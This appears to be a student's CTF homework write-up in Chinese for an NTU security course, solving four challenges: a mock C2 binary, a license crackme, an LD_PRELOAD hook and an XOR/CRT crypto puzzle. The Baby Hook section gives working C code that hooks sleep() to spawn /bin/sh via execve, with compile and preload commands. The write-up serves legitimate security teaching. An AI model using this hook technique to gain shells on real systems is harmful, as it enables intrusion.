NTU CS HW0 Write Up
Easy C2
- Flag:
FLAG{C2_cmd_in_http_header}
Description
我們獵捕到一隻惡意程式,它似乎有與 C2 進行互動的行為。請找出它發送給 C2 的訊息。Flag 格式為:FLAG{…}。 此題模仿惡意程式與 C2 進行溝通的行為,期望能在對不熟悉逆向的同學而言不過度困難的情況下,讓同學對惡意程式行為有初步的認識。題目本身並沒有實際的惡意或影響系統運作的行為,因此可以安心執行。建議同學可以先嘗試執行程式,觀察程式的行為,嘗試找出 C2 位址以及如何與其溝通。
Google 關鍵字:IDA freeware、Ghidra、malware C2
解題思路
- Simple 解題思路
1
2$ file easy-c2 easy-c2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8fa6ee42a706cfc93d97d04b3ff5e300b9f8ae02, for GNU/Linux 3.2.0, with debug_info, not stripped - IDA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20int __cdecl main(int argc, const char **argv, const char **envp) { int sockfd; // [rsp+1Ch] [rbp-24h] char *flag; // [rsp+20h] [rbp-20h] BYREF char *enc_flag; // [rsp+28h] [rbp-18h] char *host; // [rsp+30h] [rbp-10h] unsigned __int64 v8; // [rsp+38h] [rbp-8h] v8 = __readfsqword(0x28u); enc_flag = byte_20F0; host = "127.0.0.1"; sockfd = socket_connect("127.0.0.1", 11187); decode_flag(&flag, byte_20F0); send_msg(sockfd, flag); puts("Message sent."); sleep(1u); free(flag); close(sockfd); return 0; }可以看得出來他會連localhost:11187,然後把decode過後的flag給送出去,所以只要會nc的都可以直接聽該port的訊息
Exploit
1 | |
Baby Crackme
- Flag:
FLAG{r0ll1ng_4nd_3xtr4ct_t0_m3m0ry}
Description
透過此題目希望學生們可以先自行摸索過各種 SRE(Software Reverse-Engineering) 的工具與流程。 給你一些關鍵字用: IDA Freeware, Ghidra, gdb (GNU Debugger), Dynamic Analysis
解題思路
- Simple 解題思路
1
2
3
4
5
6$ file baby-crackme baby-crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6cc98ffd919e39311d3014a8bd77c2c8968ca2a9, for GNU/Linux 3.2.0, stripped $ ./baby-crackme ========= Baby Validating Service ========= Enter the license >1234 Invalid license! - IDA
- IDA Decompile Code(Main Function)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18__int64 __fastcall main(int a1, char **a2, char **a3) { __int64 input_flag[4]; // [rsp+0h] [rbp-30h] BYREF int v5; // [rsp+20h] [rbp-10h] unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); memset(input_flag, 0, sizeof(input_flag)); v5 = 0; puts("========= Baby Validating Service ========="); printf("Enter the license >"); __isoc99_scanf("%35s", input_flag); if ( scan_license(input_flag, 36LL, 0xBACEB00CLL) ) puts("Valid license!"); else puts("Invalid license!"); return 0LL; } - IDA Decompile Code(Scan License)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25_BOOL8 __fastcall scan_license(const char *input_flag, int a2, int _0xBACEB00C) { unsigned __int8 v5; // [rsp+1Bh] [rbp-35h] int i; // [rsp+1Ch] [rbp-34h] char s1[8]; // [rsp+20h] [rbp-30h] BYREF __int64 v8; // [rsp+28h] [rbp-28h] __int64 v9; // [rsp+30h] [rbp-20h] __int64 v10; // [rsp+38h] [rbp-18h] int v11; // [rsp+40h] [rbp-10h] unsigned __int64 v12; // [rsp+48h] [rbp-8h] v12 = __readfsqword(0x28u); *s1 = 0LL; v8 = 0LL; v9 = 0LL; v10 = 0LL; v11 = 0; for ( i = 0; i < a2; ++i ) { v5 = enc_flag[i]; s1[i] = v5 ^ _0xBACEB00C; _0xBACEB00C = a2 - i + (v5 ^ __ROR4__(_0xBACEB00C, 1)); } return strcmp(s1, input_flag) == 0; }
- IDA Decompile Code(Main Function)
- 如果按照上面得到的code寫script會出事,具體來說會出啥事不好說,但總之IDA時不時會翻不出來也見怪不怪,反正有問題一率動態跟,至於要跟到哪裡(因為沒有main symbol,所以也不好定位),我是直接用pwntools的raw_input()強制斷在input的地方,接著就跳到比對的部分,然後flag就出現在stack上了
- 2026/02/28 更新
現在回頭複習,發現其實按照IDA的邏輯回去寫script,應該沒啥問題才對
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29enc_flag = [ 0x4A, 0x3C, 0x66, 0xD0, 0xC7, 0x4B, 0xC6, 0xB7, 0x1B, 0x0D, 0xC0, 0x56, 0xB8, 0xD7, 0xD3, 0x47, 0xB4, 0xE6, 0x67, 0x0E, 0xB6, 0x50, 0x92, 0x8C, 0x22, 0x5C, 0x63, 0x8B, 7, 9, 0xF6, 0xF1, 0x64, 0x8A, 0x8B, 0xF2 ] def ror32(val, r): return ((val >> r) | (val << (32 - r))) & 0xFFFFFFFF def decrypt(): key = 0xBACEB00C length = len(enc_flag) result = [] for i in range(length): v5 = enc_flag[i] # 解密 ch = v5 ^ (key & 0xFF) result.append(ch) # 更新 key key = (36 - i + (v5 ^ ror32(key, 1))) & 0xFFFFFFFF return bytes(result) flag = decrypt() print(flag)
Exploit
1 | |
Baby Hook
- Flag:
FLAG{B4by_Ld_Pr3L0aD_L1bR1rY_:)}
Description
Try to Hook Me :)
nc edu-ctf.zoolab.org 10002
Flag Format:FLAG{…}
解題思路
這一題主要的想法很簡單,就是給server一個so file,然後server會直接用這個so file當作LD_PRELOAD,並且執行./chall,所以我們要做的事情概念很簡單,就是給server一個經過hook的so file,然後當他執行sleep這個function時,就會執行我們給他的惡意指令,例如開shell
Exploit
- exp-hook.c
1
2
3
4
5
6
7
8#define _GNU_SOURCE #include <dlfcn.h> #include <unistd.h> unsigned int sleep(unsigned int seconds) { execve("/bin/sh", (char *[]){0}, (char *[]){0}); return 0; // hook sleep,立刻返回 } - 實際結果:
main.py其實就是一個助教寫好的loader,但後來發現還要經過不換行的base64 encode有點麻煩,如果是像我一樣直接load,就不需要管這個script1
2
3
4
5
6
7
8
9
10
11$ gcc -fPIC -shared -o libmyhook.so exp-hook.c -ldl $ LD_PRELOAD=./libmyhook.so ./chall # To make sure it's working $ ls Makefile chall chall.c flag.txt main.py run.sh $ cat flag.txt FLAG{B4by_Ld_Pr3L0aD_L1bR1rY_:)}
我是直接參考1的教學,非常淺顯易懂,而且還有給sample code,做的事情簡單來說就和上面提到的一樣,當它call sleep時,就會直接執行execve開shell給我,另外這篇2的教學也講的很好
Extreme Xorrrrr
- Flag:
flag{xor_ThEN_><OR_1qUal_ZEr0}
Description
Easy crypto problem with simple tricks.
Flag Format: FLAG{…}
Source Code
1 | |
解題思路
我真的脫離crypto太久了,久沒做題就生疏了,這題其實也…沒那麼難,應該還是有點難啦
-
Analyze Process 首先這題做的事情很簡單,他先取得mods/muls各20組質數的list,然後和flag進行運算
\[hint[0] = secret*muls[0]\ \%\ mods[0] \\ ...\]最後他有給經過scramble的hint/muls/mods,所以首要做的事情是把scramble後的結果還原
-
Descramble 他做的事情其實很簡單,靜態看不太出來,動態跟一下就出現了,basically他就是做十九次,每一次都跟隔壁的element進行xor,例如:
\[muls[1\oplus 2\oplus 3\oplus ...\oplus 19,\\ 2\oplus 3\oplus 4\oplus ...\oplus 19\oplus 0,\\ 3\oplus 4\oplus 5\oplus ...\oplus 19\oplus 0\oplus 1,...]\]muls[0, 1, 2, 3,..., 19],scramble的結果會變成所以可以看得出來,因為只做19次,scramble後的第一個element缺少原本的element 0,而第二個element缺少原本的element 1,以此類推,所以要還原就很簡單了,我先把scramble後的所有element全部XOR,這樣就可以得到$0\oplus 1\oplus 2\oplus 3\oplus …\oplus 19$的結果,然後再各自和scramble的element進行XOR,就可以extract出最一開始的element是多少
\[Scrambled element = 1\oplus 2\oplus 3\oplus ...\oplus 19\\ \oplus\\ All\ element\ XOR = 0\oplus 1\oplus 2\oplus 3\oplus ...\oplus 19\\ =original\ element\ 0\] -
Decrypt Flag 有了hint/mods/muls最原始的這些東西,就可以開始想要怎麼藉由hint解密原本的flag,如果把整個equation換個表示式
\[hint[0] = secret*muls[0]\ \%\ mods[0] \\ ...\\ =\\ secret*muls[0]\equiv\ hint[0]\ (mod\ mods[0])\\ secret*muls[1]\equiv\ hint[1]\ (mod\ mods[1])\\ secret*muls[2]\equiv\ hint[2]\ (mod\ mods[2])\\ ...\]這和CRT有一點像,但CRT解的問題是secret都要一樣,所以只要把兩邊同乘以${muls[i]}^{-1}$就可以了
\[secret\equiv\ hint[0]*{muls[0]}^{-1}\ (mod\ mods[0])\\ secret\equiv\ hint[1]*{muls[1]}^{-1}\ (mod\ mods[1])\\ secret\equiv\ hint[2]*{muls[2]}^{-1}\ (mod\ mods[2])\\ ...\]再利用CRT的解法,secret就出來了
Exploit
1 | |
經過實測,最少的CRT組合需要八組以上才能正確還原flag,其中CRT的部分是參考3,另外理論的部分是參考4,最後inverse的靈感是來自5